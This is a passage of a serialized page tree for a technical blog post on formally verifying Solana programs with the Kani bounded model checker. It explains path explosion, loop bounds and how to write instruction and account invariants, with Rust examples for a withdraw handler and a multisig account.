:19,"tag":168,"props":17262,"children":17263},{"class":170,"line":1182},[17264,17268,17272,17276,17280,17284],{"type":19,"tag":168,"props":17265,"children":17266},{"style":212},[17267],{"type":24,"value":17110},{"type":19,"tag":168,"props":17269,"children":17270},{"style":399},[17271],{"type":24,"value":6013},{"type":19,"tag":168,"props":17273,"children":17274},{"style":212},[17275],{"type":24,"value":1945},{"type":19,"tag":168,"props":17277,"children":17278},{"style":399},[17279],{"type":24,"value":1811},{"type":19,"tag":168,"props":17281,"children":17282},{"style":192},[17283],{"type":24,"value":1954},{"type":19,"tag":168,"props":17285,"children":17286},{"style":212},[17287],{"type":24,"value":557},{"type":19,"tag":168,"props":17289,"children":17290},{"class":170,"line":1212},[17291],{"type":19,"tag":168,"props":17292,"children":17293},{"emptyLinePlaceholder":14},[17294],{"type":24,"value":1093},{"type":19,"tag":168,"props":17296,"children":17297},{"class":170,"line":1220},[17298],{"type":19,"tag":168,"props":17299,"children":17300},{"style":373},[17301],{"type":24,"value":17145},{"type":19,"tag":168,"props":17303,"children":17304},{"class":170,"line":1252},[17305,17309,17313,17317],{"type":19,"tag":168,"props":17306,"children":17307},{"style":212},[17308],{"type":24,"value":17153},{"type":19,"tag":168,"props":17310,"children":17311},{"style":399},[17312],{"type":24,"value":13136},{"type":19,"tag":168,"props":17314,"children":17315},{"style":192},[17316],{"type":24,"value":16707},{"type":19,"tag":168,"props":17318,"children":17319},{"style":212},[17320],{"type":24,"value":17166},{"type":19,"tag":168,"props":17322,"children":17323},{"class":170,"line":1260},[17324,17328,17332],{"type":19,"tag":168,"props":17325,"children":17326},{"style":175},[17327],{"type":24,"value":17174},{"type":19,"tag":168,"props":17329,"children":17330},{"style":212},[17331],{"type":24,"value":17179},{"type":19,"tag":168,"props":17333,"children":17334},{"style":373},[17335],{"type":24,"value":17184},{"type":19,"tag":20,"props":17337,"children":17338},{},[17339,17341,17347,17349,17354],{"type":24,"value":17340},"Both of these cases return ",{"type":19,"tag":27,"props":17342,"children":17344},{"className":17343},[],[17345],{"type":24,"value":17346},"unsat",{"type":24,"value":17348}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":19,"tag":293,"props":17350,"children":17351},{},[17352],{"type":24,"value":17353},"correct",{"type":24,"value":17355}," according to this property.",{"type":19,"tag":7050,"props":17357,"children":17359},{"id":17358},"loop-bounds-path-explosion",[17360],{"type":24,"value":17361},"Loop bounds & path explosion",{"type":19,"tag":20,"props":17363,"children":17364},{},[17365,17367,17372,17374,17379],{"type":24,"value":17366},"As you may have noticed, BMC requires us to take ",{"type":19,"tag":293,"props":17368,"children":17369},{},[17370],{"type":24,"value":17371},"every",{"type":24,"value":17373}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":19,"tag":293,"props":17375,"children":17376},{},[17377],{"type":24,"value":17378},"infinite",{"type":24,"value":17380}," number of paths because the loop branches backward. This might take a while...",{"type":19,"tag":20,"props":17382,"children":17383},{},[17384],{"type":24,"value":17385},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":19,"tag":20,"props":17387,"children":17388},{},[17389],{"type":24,"value":17390},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":19,"tag":20,"props":17392,"children":17393},{},[17394],{"type":24,"value":17395},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":19,"tag":7050,"props":17397,"children":17399},{"id":17398},"kani-model-checker",[17400],{"type":24,"value":17401},"Kani Model Checker",{"type":19,"tag":20,"props":17403,"children":17404},{},[17405,17407,17412],{"type":24,"value":17406},"For our research with formally verifying Solana programs, we are using the ",{"type":19,"tag":269,"props":17408,"children":17410},{"href":16299,"rel":17409},[273],[17411],{"type":24,"value":16303},{"type":24,"value":17413},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":19,"tag":20,"props":17415,"children":17416},{},[17417,17419,17424,17426,17432,17433,17439,17441,17447],{"type":24,"value":17418},"Kani allows you to write ",{"type":19,"tag":293,"props":17420,"children":17421},{},[17422],{"type":24,"value":17423},"proof harnesses",{"type":24,"value":17425}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":19,"tag":27,"props":17427,"children":17429},{"className":17428},[],[17430],{"type":24,"value":17431},"assume",{"type":24,"value":8436},{"type":19,"tag":27,"props":17434,"children":17436},{"className":17435},[],[17437],{"type":24,"value":17438},"assert",{"type":24,"value":17440}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":19,"tag":27,"props":17442,"children":17444},{"className":17443},[],[17445],{"type":24,"value":17446},"cargo kani",{"type":24,"value":17448}," tool (which compiles your proof harness and runs BMC).",{"type":19,"tag":36,"props":17450,"children":17452},{"id":17451},"specification-how-can-we-describe-what-we-want-our-program-to-do",[17453,17455,17459],{"type":24,"value":17454},"Specification: How can we describe what we ",{"type":19,"tag":293,"props":17456,"children":17457},{},[17458],{"type":24,"value":16373},{"type":24,"value":16375},{"type":19,"tag":20,"props":17461,"children":17462},{},[17463],{"type":19,"tag":293,"props":17464,"children":17465},{},[17466],{"type":19,"tag":51,"props":17467,"children":17468},{},[17469],{"type":24,"value":17470},"And what even do we want it to do?",{"type":19,"tag":20,"props":17472,"children":17473},{},[17474,17476,17481],{"type":24,"value":17475},"A fundamental challenge with any formal verification framework is ",{"type":19,"tag":293,"props":17477,"children":17478},{},[17479],{"type":24,"value":17480},"specifying",{"type":24,"value":17482}," what the \"correct\" behavior should be.",{"type":19,"tag":20,"props":17484,"children":17485},{},[17486],{"type":24,"value":17487},"In natural language, we can describe a few good properties for example Solana programs:",{"type":19,"tag":43,"props":17489,"children":17490},{},[17491,17503,17515],{"type":19,"tag":47,"props":17492,"children":17493},{},[17494,17496,17501],{"type":24,"value":17495},"\"It should not be possible to ",{"type":19,"tag":51,"props":17497,"children":17498},{},[17499],{"type":24,"value":17500},"steal money",{"type":24,"value":17502}," via a swap program\"",{"type":19,"tag":47,"props":17504,"children":17505},{},[17506,17508,17513],{"type":24,"value":17507},"\"A multisig should never get into a state where you ",{"type":19,"tag":51,"props":17509,"children":17510},{},[17511],{"type":24,"value":17512},"can't sign anything",{"type":24,"value":17514},"\"",{"type":19,"tag":47,"props":17516,"children":17517},{},[17518],{"type":24,"value":17519},"\"User funds in a staking protocol \"",{"type":19,"tag":20,"props":17521,"children":17522},{},[17523,17525,17535,17537,17542],{"type":24,"value":17524},"These are types of properties you can tell your ",{"type":19,"tag":269,"props":17526,"children":17529},{"href":17527,"rel":17528},"https://osec.io/",[273],[17530],{"type":19,"tag":293,"props":17531,"children":17532},{},[17533],{"type":24,"value":17534},"human auditors",{"type":24,"value":17536}," but these English phrases are not particularly useful for ",{"type":19,"tag":293,"props":17538,"children":17539},{},[17540],{"type":24,"value":17541},"automated verification techniques",{"type":24,"value":17543}," (at least until our AI overlords surpass human intelligence).",{"type":19,"tag":20,"props":17545,"children":17546},{},[17547,17549,17554,17556,17561],{"type":24,"value":17548},"Instead, we need to be able to specify ",{"type":19,"tag":293,"props":17550,"children":17551},{},[17552],{"type":24,"value":17553},"in code",{"type":24,"value":17555}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":19,"tag":27,"props":17557,"children":17559},{"className":17558},[],[17560],{"type":24,"value":17438},{"type":24,"value":17562}," statement.",{"type":19,"tag":7050,"props":17564,"children":17566},{"id":17565},"solana-invariants",[17567],{"type":24,"value":17568},"Solana Invariants",{"type":19,"tag":20,"props":17570,"children":17571},{},[17572,17574,17579,17580,17585],{"type":24,"value":17573},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":19,"tag":51,"props":17575,"children":17576},{},[17577],{"type":24,"value":17578},"instruction invariants",{"type":24,"value":8436},{"type":19,"tag":51,"props":17581,"children":17582},{},[17583],{"type":24,"value":17584},"account invariants",{"type":24,"value":948},{"type":19,"tag":16345,"props":17587,"children":17589},{"id":17588},"instruction-invariant",[17590],{"type":24,"value":17591},"Instruction Invariant",{"type":19,"tag":20,"props":17593,"children":17594},{},[17595,17597,17602,17604,17610,17611,17617],{"type":24,"value":17596},"An ",{"type":19,"tag":51,"props":17598,"children":17599},{},[17600],{"type":24,"value":17601},"instruction invariant",{"type":24,"value":17603}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":19,"tag":27,"props":17605,"children":17607},{"className":17606},[],[17608],{"type":24,"value":17609},"succeeds_if",{"type":24,"value":10579},{"type":19,"tag":27,"props":17612,"children":17614},{"className":17613},[],[17615],{"type":24,"value":17616},"errors_if",{"type":24,"value":17618}," macro annotations on the instruction handler.",{"type":19,"tag":20,"props":17620,"children":17621},{},[17622],{"type":24,"value":17623},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":19,"tag":20,"props":17625,"children":17626},{},[17627,17629,17635,17637,17642],{"type":24,"value":17628},"For example, say we have a ",{"type":19,"tag":27,"props":17630,"children":17632},{"className":17631},[],[17633],{"type":24,"value":17634},"Withdraw",{"type":24,"value":17636}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":19,"tag":293,"props":17638,"children":17639},{},[17640],{"type":24,"value":17641},"more",{"type":24,"value":17643}," tokens than their current balance.",{"type":19,"tag":20,"props":17645,"children":17646},{},[17647,17649,17654],{"type":24,"value":17648},"Using our tool, you could specify the following ",{"type":19,"tag":27,"props":17650,"children":17652},{"className":17651},[],[17653],{"type":24,"value":17616},{"type":24,"value":17655}," property on your instruction handler:",{"type":19,"tag":158,"props":17657,"children":17659},{"code":17658,"language":362,"meta":7,"className":363,"style":7},"#[errors_if(\n ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n ...\n}\n",[17660],{"type":19,"tag":27,"props":17661,"children":17662},{"__ignoreMap":7},[17663,17671,17706,17714,17787,17795],{"type":19,"tag":168,"props":17664,"children":17665},{"class":170,"line":171},[17666],{"type":19,"tag":168,"props":17667,"children":17668},{"style":212},[17669],{"type":24,"value":17670},"#[errors_if(\n",{"type":19,"tag":168,"props":17672,"children":17673},{"class":170,"line":198},[17674,17679,17683,17688,17692,17697,17701],{"type":19,"tag":168,"props":17675,"children":17676},{"style":212},[17677],{"type":24,"value":17678}," ctx",{"type":19,"tag":168,"props":17680,"children":17681},{"style":399},[17682],{"type":24,"value":948},{"type":19,"tag":168,"props":17684,"children":17685},{"style":212},[17686],{"type":24,"value":17687},"user",{"type":19,"tag":168,"props":17689,"children":17690},{"style":399},[17691],{"type":24,"value":948},{"type":19,"tag":168,"props":17693,"children":17694},{"style":212},[17695],{"type":24,"value":17696},"balance ",{"type":19,"tag":168,"props":17698,"children":17699},{"style":399},[17700],{"type":24,"value":3240},{"type":19,"tag":168,"props":17702,"children":17703},{"style":212},[17704],{"type":24,"value":17705}," amount\n",{"type":19,"tag":168,"props":17707,"children":17708},{"class":170,"line":415},[17709],{"type":19,"tag":168,"props":17710,"children":17711},{"style":212},[17712],{"type":24,"value":17713},")]\n",{"type":19,"tag":168,"props":17715,"children":17716},{"class":170,"line":450},[17717,17722,17727,17731,17736,17740,17745,17749,17753,17757,17762,17766,17770,17774,17778,17782],{"type":19,"tag":168,"props":17718,"children":17719},{"style":382},[17720],{"type":24,"value":17721},"fn",{"type":19,"tag":168,"props":17723,"children":17724},{"style":175},[17725],{"type":24,"value":17726}," withdraw",{"type":19,"tag":168,"props":17728,"children":17729},{"style":212},[17730],{"type":24,"value":500},{"type":19,"tag":168,"props":17732,"children":17733},{"style":393},[17734],{"type":24,"value":17735},"ctx",{"type":19,"tag":168,"props":17737,"children":17738},{"style":399},[17739],{"type":24,"value":1922},{"type":19,"tag":168,"props":17741,"children":17742},{"style":825},[17743],{"type":24,"value":17744}," Context",{"type":19,"tag":168,"props":17746,"children":17747},{"style":212},[17748],{"type":24,"value":3240},{"type":19,"tag":168,"props":17750,"children":17751},{"style":825},[17752],{"type":24,"value":17634},{"type":19,"tag":168,"props":17754,"children":17755},{"style":212},[17756],{"type":24,"value":4066},{"type":19,"tag":168,"props":17758,"children":17759},{"style":393},[17760],{"type":24,"value":17761},"amount",{"type":19,"tag":168,"props":17763,"children":17764},{"style":399},[17765],{"type":24,"value":1922},{"type":19,"tag":168,"props":17767,"children":17768},{"style":825},[17769],{"type":24,"value":3294},{"type":19,"tag":168,"props":17771,"children":17772},{"style":212},[17773],{"type":24,"value":481},{"type":19,"tag":168,"props":17775,"children":17776},{"style":399},[17777],{"type":24,"value":11203},{"type":19,"tag":168,"props":17779,"children":17780},{"style":825},[17781],{"type":24,"value":11208},{"type":19,"tag":168,"props":17783,"children":17784},{"style":212},[17785],{"type":24,"value":17786},"\u003C()> {\n",{"type":19,"tag":168,"props":17788,"children":17789},{"class":170,"line":560},[17790],{"type":19,"tag":168,"props":17791,"children":17792},{"style":399},[17793],{"type":24,"value":17794}," ...\n",{"type":19,"tag":168,"props":17796,"children":17797},{"class":170,"line":666},[17798],{"type":19,"tag":168,"props":17799,"children":17800},{"style":212},[17801],{"type":24,"value":1326},{"type":19,"tag":315,"props":17803,"children":17804},{},[17805],{"type":19,"tag":20,"props":17806,"children":17807},{},[17808,17809,17814,17816,17821,17823,17828],{"type":24,"value":14062},{"type":19,"tag":27,"props":17810,"children":17812},{"className":17811},[],[17813],{"type":24,"value":17616},{"type":24,"value":17815}," expression specifies ",{"type":19,"tag":293,"props":17817,"children":17818},{},[17819],{"type":24,"value":17820},"succifient",{"type":24,"value":17822}," but not ",{"type":19,"tag":293,"props":17824,"children":17825},{},[17826],{"type":24,"value":17827},"necessary",{"type":24,"value":17829}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":19,"tag":16245,"props":17831,"children":17832},{},[],{"type":19,"tag":20,"props":17834,"children":17835},{},[17836,17838,17843],{"type":24,"value":17837},"Another example is that for ",{"type":19,"tag":293,"props":17839,"children":17840},{},[17841],{"type":24,"value":17842},"crank",{"type":24,"value":17844}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":19,"tag":158,"props":17846,"children":17848},{"code":17847,"language":362,"meta":7,"className":363,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n ...\n}\n",[17849],{"type":19,"tag":27,"props":17850,"children":17851},{"__ignoreMap":7},[17852,17860,17914,17921],{"type":19,"tag":168,"props":17853,"children":17854},{"class":170,"line":171},[17855],{"type":19,"tag":168,"props":17856,"children":17857},{"style":212},[17858],{"type":24,"value":17859},"#[succeeds_if(true)]\n",{"type":19,"tag":168,"props":17861,"children":17862},{"class":170,"line":198},[17863,17867,17872,17876,17880,17884,17888,17892,17897,17902,17906,17910],{"type":19,"tag":168,"props":17864,"children":17865},{"style":382},[17866],{"type":24,"value":17721},{"type":19,"tag":168,"props":17868,"children":17869},{"style":175},[17870],{"type":24,"value":17871}," my_crank",{"type":19,"tag":168,"props":17873,"children":17874},{"style":212},[17875],{"type":24,"value":500},{"type":19,"tag":168,"props":17877,"children":17878},{"style":393},[17879],{"type":24,"value":17735},{"type":19,"tag":168,"props":17881,"children":17882},{"style":399},[17883],{"type":24,"value":1922},{"type":19,"tag":168,"props":17885,"children":17886},{"style":825},[17887],{"type":24,"value":17744},{"type":19,"tag":168,"props":17889,"children":17890},{"style":212},[17891],{"type":24,"value":3240},{"type":19,"tag":168,"props":17893,"children":17894},{"style":825},[17895],{"type":24,"value":17896},"Crank",{"type":19,"tag":168,"props":17898,"children":17899},{"style":212},[17900],{"type":24,"value":17901},">) ",{"type":19,"tag":168,"props":17903,"children":17904},{"style":399},[17905],{"type":24,"value":11203},{"type":19,"tag":168,"props":17907,"children":17908},{"style":825},[17909],{"type":24,"value":11208},{"type":19,"tag":168,"props":17911,"children":17912},{"style":212},[17913],{"type":24,"value":17786},{"type":19,"tag":168,"props":17915,"children":17916},{"class":170,"line":415},[17917],{"type":19,"tag":168,"props":17918,"children":17919},{"style":399},[17920],{"type":24,"value":17794},{"type":19,"tag":168,"props":17922,"children":17923},{"class":170,"line":450},[17924],{"type":19,"tag":168,"props":17925,"children":17926},{"style":212},[17927],{"type":24,"value":1326},{"type":19,"tag":20,"props":17929,"children":17930},{},[17931,17933,17937,17939,17945],{"type":24,"value":17932},"With this invariant, you could prove that the function ",{"type":19,"tag":293,"props":17934,"children":17935},{},[17936],{"type":24,"value":10539},{"type":24,"value":17938}," returns ",{"type":19,"tag":27,"props":17940,"children":17942},{"className":17941},[],[17943],{"type":24,"value":17944},"Ok",{"type":24,"value":17946},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":19,"tag":16245,"props":17948,"children":17949},{},[],{"type":19,"tag":20,"props":17951,"children":17952},{},[17953,17955,17960,17961,17966,17968,17973,17975,17980,17982,17987],{"type":24,"value":17954},"Note that ",{"type":19,"tag":27,"props":17956,"children":17958},{"className":17957},[],[17959],{"type":24,"value":17609},{"type":24,"value":8436},{"type":19,"tag":27,"props":17962,"children":17964},{"className":17963},[],[17965],{"type":24,"value":17616},{"type":24,"value":17967}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":19,"tag":27,"props":17969,"children":17971},{"className":17970},[],[17972],{"type":24,"value":17609},{"type":24,"value":17974}," is not satisfied and a function may fail even if ",{"type":19,"tag":27,"props":17976,"children":17978},{"className":17977},[],[17979],{"type":24,"value":17616},{"type":24,"value":17981}," is not satisfied. If you want to prove the ",{"type":19,"tag":293,"props":17983,"children":17984},{},[17985],{"type":24,"value":17986},"exact condition",{"type":24,"value":17988}," required for an instruction to succeed, you could use a form like the following:",{"type":19,"tag":158,"props":17990,"children":17992},{"code":17991,"language":362,"meta":7,"className":363,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n ...\n}\n",[17993],{"type":19,"tag":27,"props":17994,"children":17995},{"__ignoreMap":7},[17996,18040,18047,18064,18090,18142,18149],{"type":19,"tag":168,"props":17997,"children":17998},{"class":170,"line":171},[17999,18003,18008,18012,18016,18020,18024,18028,18032,18036],{"type":19,"tag":168,"props":18000,"children":18001},{"style":382},[18002],{"type":24,"value":17721},{"type":19,"tag":168,"props":18004,"children":18005},{"style":175},[18006],{"type":24,"value":18007}," my_invariant",{"type":19,"tag":168,"props":18009,"children":18010},{"style":212},[18011],{"type":24,"value":500},{"type":19,"tag":168,"props":18013,"children":18014},{"style":399},[18015],{"type":24,"value":7032},{"type":19,"tag":168,"props":18017,"children":18018},{"style":212},[18019],{"type":24,"value":481},{"type":19,"tag":168,"props":18021,"children":18022},{"style":399},[18023],{"type":24,"value":11203},{"type":19,"tag":168,"props":18025,"children":18026},{"style":825},[18027],{"type":24,"value":9495},{"type":19,"tag":168,"props":18029,"children":18030},{"style":212},[18031],{"type":24,"value":7027},{"type":19,"tag":168,"props":18033,"children":18034},{"style":399},[18035],{"type":24,"value":7032},{"type":19,"tag":168,"props":18037,"children":18038},{"style":212},[18039],{"type":24,"value":7037},{"type":19,"tag":168,"props":18041,"children":18042},{"class":170,"line":198},[18043],{"type":19,"tag":168,"props":18044,"children":18045},{"emptyLinePlaceholder":14},[18046],{"type":24,"value":1093},{"type":19,"tag":168,"props":18048,"children":18049},{"class":170,"line":415},[18050,18055,18059],{"type":19,"tag":168,"props":18051,"children":18052},{"style":212},[18053],{"type":24,"value":18054},"#[succeeds_if(my_invariant(",{"type":19,"tag":168,"props":18056,"children":18057},{"style":399},[18058],{"type":24,"value":7032},{"type":19,"tag":168,"props":18060,"children":18061},{"style":212},[18062],{"type":24,"value":18063},"))]\n",{"type":19,"tag":168,"props":18065,"children":18066},{"class":170,"line":450},[18067,18072,18077,18082,18086],{"type":19,"tag":168,"props":18068,"children":18069},{"style":212},[18070],{"type":24,"value":18071},"#[errors_if(",{"type":19,"tag":168,"props":18073,"children":18074},{"style":399},[18075],{"type":24,"value":18076},"!",{"type":19,"tag":168,"props":18078,"children":18079},{"style":212},[18080],{"type":24,"value":18081},"my_invariant(",{"type":19,"tag":168,"props":18083,"children":18084},{"style":399},[18085],{"type":24,"value":7032},{"type":19,"tag":168,"props":18087,"children":18088},{"style":212},[18089],{"type":24,"value":18063},{"type":19,"tag":168,"props":18091,"children":18092},{"class":170,"line":560},[18093,18097,18102,18106,18110,18114,18118,18122,18126,18130,18134,18138],{"type":19,"tag":168,"props":18094,"children":18095},{"style":382},[18096],{"type":24,"value":17721},{"type":19,"tag":168,"props":18098,"children":18099},{"style":175},[18100],{"type":24,"value":18101}," my_instruction",{"type":19,"tag":168,"props":18103,"children":18104},{"style":212},[18105],{"type":24,"value":500},{"type":19,"tag":168,"props":18107,"children":18108},{"style":393},[18109],{"type":24,"value":17735},{"type":19,"tag":168,"props":18111,"children":18112},{"style":399},[18113],{"type":24,"value":1922},{"type":19,"tag":168,"props":18115,"children":18116},{"style":825},[18117],{"type":24,"value":17744},{"type":19,"tag":168,"props":18119,"children":18120},{"style":212},[18121],{"type":24,"value":3240},{"type":19,"tag":168,"props":18123,"children":18124},{"style":399},[18125],{"type":24,"value":7032},{"type":19,"tag":168,"props":18127,"children":18128},{"style":212},[18129],{"type":24,"value":17901},{"type":19,"tag":168,"props":18131,"children":18132},{"style":399},[18133],{"type":24,"value":11203},{"type":19,"tag":168,"props":18135,"children":18136},{"style":825},[18137],{"type":24,"value":11208},{"type":19,"tag":168,"props":18139,"children":18140},{"style":212},[18141],{"type":24,"value":17786},{"type":19,"tag":168,"props":18143,"children":18144},{"class":170,"line":666},[18145],{"type":19,"tag":168,"props":18146,"children":18147},{"style":399},[18148],{"type":24,"value":17794},{"type":19,"tag":168,"props":18150,"children":18151},{"class":170,"line":694},[18152],{"type":19,"tag":168,"props":18153,"children":18154},{"style":212},[18155],{"type":24,"value":1326},{"type":19,"tag":20,"props":18157,"children":18158},{},[18159],{"type":24,"value":18160},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":19,"tag":16345,"props":18162,"children":18164},{"id":18163},"account-invariants",[18165],{"type":24,"value":18166},"Account Invariants",{"type":19,"tag":20,"props":18168,"children":18169},{},[18170,18172,18177],{"type":24,"value":18171},"The other type of invariant is an ",{"type":19,"tag":51,"props":18173,"children":18174},{},[18175],{"type":24,"value":18176},"Account Invariant",{"type":24,"value":18178},". This invariant describes some property of an account that should always hold.",{"type":19,"tag":20,"props":18180,"children":18181},{},[18182,18184,18189,18190,18196],{"type":24,"value":18183},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":19,"tag":27,"props":18185,"children":18187},{"className":18186},[],[18188],{"type":24,"value":1142},{"type":24,"value":10579},{"type":19,"tag":27,"props":18191,"children":18193},{"className":18192},[],[18194],{"type":24,"value":18195},"init",{"type":24,"value":18197},").",{"type":19,"tag":20,"props":18199,"children":18200},{},[18201,18203,18209],{"type":24,"value":18202},"For example, given a mock ",{"type":19,"tag":27,"props":18204,"children":18206},{"className":18205},[],[18207],{"type":24,"value":18208},"UserStatement",{"type":24,"value":18210}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":19,"tag":158,"props":18212,"children":18214},{"code":18213,"language":362,"meta":7,"className":363,"style":7},"#[account]\n#[invariant(\n self.assets >= self.liabilities\n)]\nstruct UserStatement {\n pub owner: Pubkey,\n pub assets: u64,\n pub liabilities: u64,\n}\n",[18215],{"type":19,"tag":27,"props":18216,"children":18217},{"__ignoreMap":7},[18218,18226,18234,18268,18275,18291,18317,18341,18365],{"type":19,"tag":168,"props":18219,"children":18220},{"class":170,"line":171},[18221],{"type":19,"tag":168,"props":18222,"children":18223},{"style":212},[18224],{"type":24,"value":18225},"#[account]\n",{"type":19,"tag":168,"props":18227,"children":18228},{"class":170,"line":198},[18229],{"type":19,"tag":168,"props":18230,"children":18231},{"style":212},[18232],{"type":24,"value":18233},"#[invariant(\n",{"type":19,"tag":168,"props":18235,"children":18236},{"class":170,"line":415},[18237,18242,18246,18251,18255,18259,18263],{"type":19,"tag":168,"props":18238,"children":18239},{"style":212},[18240],{"type":24,"value":18241}," self",{"type":19,"tag":168,"props":18243,"children":18244},{"style":399},[18245],{"type":24,"value":948},{"type":19,"tag":168,"props":18247,"children":18248},{"style":212},[18249],{"type":24,"value":18250},"assets ",{"type":19,"tag":168,"props":18252,"children":18253},{"style":399},[18254],{"type":24,"value":7386},{"type":19,"tag":168,"props":18256,"children":18257},{"style":212},[18258],{"type":24,"value":11243},{"type":19,"tag":168,"props":18260,"children":18261},{"style":399},[18262],{"type":24,"value":948},{"type":19,"tag":168,"props":18264,"children":18265},{"style":212},[18266],{"type":24,"value":18267},"liabilities\n",{"type":19,"tag":168,"props":18269,"children":18270},{"class":170,"line":450},[18271],{"type":19,"tag":168,"props":18272,"children":18273},{"style":212},[18274],{"type":24,"value":17713},{"type":19,"tag":168,"props":18276,"children":18277},{"class":170,"line":560},[18278,18282,18287],{"type":19,"tag":168,"props":18279,"children":18280},{"style":382},[18281],{"type":24,"value":6842},{"type":19,"tag":168,"props":18283,"children":18284},{"style":825},[18285],{"type":24,"value":18286}," UserStatement",{"type":19,"tag":168,"props":18288,"children":18289},{"style":212},[18290],{"type":24,"value":691},{"type":19,"tag":168,"props":18292,"children":18293},{"class":170,"line":666},[18294,18299,18304,18308,18313],{"type":19,"tag":168,"props":18295,"children":18296},{"style":382},[18297],{"type":24,"value":18298}," pub",{"type":19,"tag":168,"props":18300,"children":18301},{"style":393},[18302],{"type":24,"value":18303}," owner",{"type":19,"tag":168,"props":18305,"children":18306},{"style":399},[18307],{"type":24,"value":1922},{"type":19,"tag":168,"props":18309,"children":18310},{"style":825},[18311],{"type":24,"value":18312}," Pubkey",{"type":19,"tag":168,"props":18314,"children":18315},{"style":212},[18316],{"type":24,"value":915},{"type":19,"tag":168,"props":18318,"children":18319},{"class":170,"line":694},[18320,18324,18329,18333,18337],{"type":19,"tag":168,"props":18321,"children":18322},{"style":382},[18323],{"type":24,"value":18298},{"type":19,"tag":168,"props":18325,"children":18326},{"style":393},[18327],{"type":24,"value":18328}," assets",{"type":19,"tag":168,"props":18330,"children":18331},{"style":399},[18332],{"type":24,"value":1922},{"type":19,"tag":168,"props":18334,"children":18335},{"style":825},[18336],{"type":24,"value":3294},{"type":19,"tag":168,"props":18338,"children":18339},{"style":212},[18340],{"type":24,"value":915},{"type":19,"tag":168,"props":18342,"children":18343},{"class":170,"line":707},[18344,18348,18353,18357,18361],{"type":19,"tag":168,"props":18345,"children":18346},{"style":382},[18347],{"type":24,"value":18298},{"type":19,"tag":168,"props":18349,"children":18350},{"style":393},[18351],{"type":24,"value":18352}," liabilities",{"type":19,"tag":168,"props":18354,"children":18355},{"style":399},[18356],{"type":24,"value":1922},{"type":19,"tag":168,"props":18358,"children":18359},{"style":825},[18360],{"type":24,"value":3294},{"type":19,"tag":168,"props":18362,"children":18363},{"style":212},[18364],{"type":24,"value":915},{"type":19,"tag":168,"props":18366,"children":18367},{"class":170,"line":725},[18368],{"type":19,"tag":168,"props":18369,"children":18370},{"style":212},[18371],{"type":24,"value":1326},{"type":19,"tag":20,"props":18373,"children":18374},{},[18375,18377,18382],{"type":24,"value":18376},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":19,"tag":27,"props":18378,"children":18380},{"className":18379},[],[18381],{"type":24,"value":18208},{"type":24,"value":18383}," is created or modified.",{"type":19,"tag":20,"props":18385,"children":18386},{},[18387,18389,18395],{"type":24,"value":18388},"In another example, we developed the following invariant for the ",{"type":19,"tag":269,"props":18390,"children":18392},{"href":16276,"rel":18391},[273],[18393],{"type":24,"value":18394},"Squads Multisig",{"type":24,"value":18396}," wallet account:",{"type":19,"tag":158,"props":18398,"children":18400},{"code":18399,"language":362,"meta":7,"className":363,"style":7},"#[account]\n#[invariant(\n !self.keys.is_empty()\n && (self.keys.len() \u003C= u16::MAX as usize)\n && (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[18401],{"type":19,"tag":27,"props":18402,"children":18403},{"__ignoreMap":7},[18404,18411,18418,18448,18507,18536,18588,18595,18616,18646,18676,18706,18735,18765,18795,18824,18864],{"type":19,"tag":168,"props":18405,"children":18406},{"class":170,"line":171},[18407],{"type":19,"tag":168,"props":18408,"children":18409},{"style":212},[18410],{"type":24,"value":18225},{"type":19,"tag":168,"props":18412,"children":18413},{"class":170,"line":198},[18414],{"type":19,"tag":168,"props":18415,"children":18416},{"style":212},[18417],{"type":24,"value":18233},{"type":19,"tag":168,"props":18419,"children":18420},{"class":170,"line":415},[18421,18426,18430,18434,18439,18443],{"type":19,"tag":168,"props":18422,"children":18423},{"style":399},[18424],{"type":24,"value":18425}," 